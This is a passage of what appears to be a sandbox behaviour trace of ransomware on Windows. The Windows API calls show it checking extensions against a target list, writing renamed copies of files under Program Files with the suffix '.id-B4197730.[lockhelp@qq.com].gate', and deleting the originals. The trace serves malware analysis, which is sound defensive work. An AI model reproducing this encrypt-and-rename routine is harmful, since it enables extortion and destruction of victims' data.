(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.418] lstrlenW (lpString=".doc") returned 4 [0114.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString=".docx") returned 5 [0114.418] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0114.418] lstrlenW (lpString=".pdf") returned 4 [0114.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString=".xls") returned 4 [0114.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString=".xlsx") returned 5 [0114.418] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0114.418] lstrlenW (lpString=".ppt") returned 4 [0114.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.418] lstrlenW (lpString=".zip") returned 4 [0114.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.418] lstrlenW (lpString=".rar") returned 4 [0114.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString=".bz2") returned 4 [0114.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString=".7z") returned 3 [0114.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.418] lstrlenW (lpString=".dbf") returned 4 [0114.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.419] lstrlenW (lpString=".1cd") returned 4 [0114.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.419] lstrlenW (lpString=".jpg") returned 4 [0114.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.419] lstrlenW (lpString=".doc") returned 4 [0114.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString=".docx") returned 5 [0114.419] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0114.419] lstrlenW (lpString=".pdf") returned 4 [0114.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString=".xls") returned 4 [0114.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString=".xlsx") returned 5 [0114.419] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0114.419] lstrlenW (lpString=".ppt") returned 4 [0114.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.419] lstrlenW (lpString=".zip") returned 4 [0114.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.419] lstrlenW (lpString=".rar") returned 4 [0114.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.420] lstrlenW (lpString=".bz2") returned 4 [0114.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.420] lstrlenW (lpString=".7z") returned 3 [0114.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.420] lstrlenW (lpString=".dbf") returned 4 [0114.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.420] lstrlenW (lpString=".1cd") returned 4 [0114.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0114.420] lstrlenW (lpString=".jpg") returned 4 [0114.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.420] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.420] lstrlenW (lpString="insertbase.xml") returned 14 [0114.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.738] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=903) returned 1 [0114.738] CloseHandle (hObject=0x314) returned 1 [0114.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0114.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0114.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0114.738] lstrlenW (lpString=".doc") returned 4 [0114.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.738] lstrlenW (lpString=".docx") returned 5 [0114.738] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.738] lstrlenW (lpString=".pdf") returned 4 [0114.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.738] lstrlenW (lpString=".xls") returned 4 [0114.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.738] lstrlenW (lpString=".xlsx") returned 5 [0114.738] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.738] lstrlenW (lpString=".ppt") returned 4 [0114.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0114.739] lstrlenW (lpString=".zip") returned 4 [0114.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.739] lstrlenW (lpString=".rar") returned 4 [0114.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.739] lstrlenW (lpString=".bz2") returned 4 [0114.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.739] lstrlenW (lpString=".7z") returned 3 [0114.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0114.739] lstrlenW (lpString=".dbf") returned 4 [0114.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0116.000] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.000] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.006] GetLastError () returned 0x0 [0116.006] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x218e, lpOverlapped=0x0) returned 1 [0116.038] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x2190, lpOverlapped=0x0) returned 1 [0116.039] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.040] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe8, lpOverlapped=0x0) returned 1 [0116.040] SetEndOfFile (hFile=0x364) returned 1 [0116.040] CloseHandle (hObject=0x364) returned 1 [0116.043] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.043] SetEndOfFile (hFile=0x35c) returned 1 [0116.044] CloseHandle (hObject=0x35c) returned 1 [0116.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.046] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0116.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.047] lstrlenW (lpString=".doc") returned 4 [0116.047] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.048] lstrlenW (lpString=".docx") returned 5 [0116.048] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0116.048] lstrlenW (lpString=".pdf") returned 4 [0116.048] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.048] lstrlenW (lpString=".xls") returned 4 [0116.048] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.048] lstrlenW (lpString=".xlsx") returned 5 [0116.048] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0116.048] lstrlenW (lpString=".ppt") returned 4 [0116.048] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.048] lstrlenW (lpString=".zip") returned 4 [0116.048] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.048] lstrlenW (lpString=".rar") returned 4 [0116.048] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.048] lstrlenW (lpString=".bz2") returned 4 [0116.048] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.049] lstrlenW (lpString=".7z") returned 3 [0116.049] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.049] lstrlenW (lpString=".dbf") returned 4 [0116.049] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.049] lstrlenW (lpString=".1cd") returned 4 [0116.049] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.049] lstrlenW (lpString=".jpg") returned 4 [0116.049] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.049] lstrlenW (lpString=".doc") returned 4 [0116.049] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.049] lstrlenW (lpString=".docx") returned 5 [0116.049] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0116.049] lstrlenW (lpString=".pdf") returned 4 [0116.049] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.049] lstrlenW (lpString=".xls") returned 4 [0116.049] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.049] lstrlenW (lpString=".xlsx") returned 5 [0116.049] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0116.049] lstrlenW (lpString=".ppt") returned 4 [0116.050] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.050] lstrlenW (lpString=".zip") returned 4 [0116.050] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.050] lstrlenW (lpString=".rar") returned 4 [0116.050] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.050] lstrlenW (lpString=".bz2") returned 4 [0116.050] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.050] lstrlenW (lpString=".7z") returned 3 [0116.050] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.050] lstrlenW (lpString=".dbf") returned 4 [0116.050] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.050] lstrlenW (lpString=".1cd") returned 4 [0116.050] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0116.050] lstrlenW (lpString=".jpg") returned 4 [0116.051] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.051] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.051] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0116.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.051] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=7805) returned 1 [0116.051] CloseHandle (hObject=0x35c) returned 1 [0116.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0116.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.052] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.052] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.052] GetLastError () returned 0x0 [0116.052] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0116.112] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x1e80, lpOverlapped=0x0) returned 1 [0116.113] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.113] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0116.113] SetEndOfFile (hFile=0x364) returned 1 [0116.113] CloseHandle (hObject=0x364) returned 1 [0116.115] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.115] SetEndOfFile (hFile=0x35c) returned 1 [0116.120] CloseHandle (hObject=0x35c) returned 1 [0116.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0116.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.121] lstrlenW (lpString=".doc") returned 4 [0116.121] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.121] lstrlenW (lpString=".docx") returned 5 [0116.121] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0116.121] lstrlenW (lpString=".pdf") returned 4 [0116.121] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.121] lstrlenW (lpString=".xls") returned 4 [0116.121] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.121] lstrlenW (lpString=".xlsx") returned 5 [0116.121] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0116.121] lstrlenW (lpString=".ppt") returned 4 [0116.121] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.121] lstrlenW (lpString=".zip") returned 4 [0116.121] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.121] lstrlenW (lpString=".rar") returned 4 [0116.121] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.121] lstrlenW (lpString=".bz2") returned 4 [0116.121] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.121] lstrlenW (lpString=".7z") returned 3 [0116.121] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.121] lstrlenW (lpString=".dbf") returned 4 [0116.122] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.122] lstrlenW (lpString=".1cd") returned 4 [0116.122] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.122] lstrlenW (lpString=".jpg") returned 4 [0116.122] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.122] lstrlenW (lpString=".doc") returned 4 [0116.122] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.122] lstrlenW (lpString=".docx") returned 5 [0116.122] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0116.122] lstrlenW (lpString=".pdf") returned 4 [0116.122] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString=".xls") returned 4 [0116.122] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString=".xlsx") returned 5 [0116.122] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0116.122] lstrlenW (lpString=".ppt") returned 4 [0116.122] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.122] lstrlenW (lpString=".zip") returned 4 [0116.122] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString=".rar") returned 4 [0116.122] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.122] lstrlenW (lpString=".bz2") returned 4 [0116.123] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.123] lstrlenW (lpString=".7z") returned 3 [0116.123] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.123] lstrlenW (lpString=".dbf") returned 4 [0116.123] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.123] lstrlenW (lpString=".1cd") returned 4 [0116.123] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0116.123] lstrlenW (lpString=".jpg") returned 4 [0116.123] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.123] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.123] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0116.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.134] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=168) returned 1 [0116.134] CloseHandle (hObject=0x358) returned 1 [0116.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0116.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.137] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.137] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 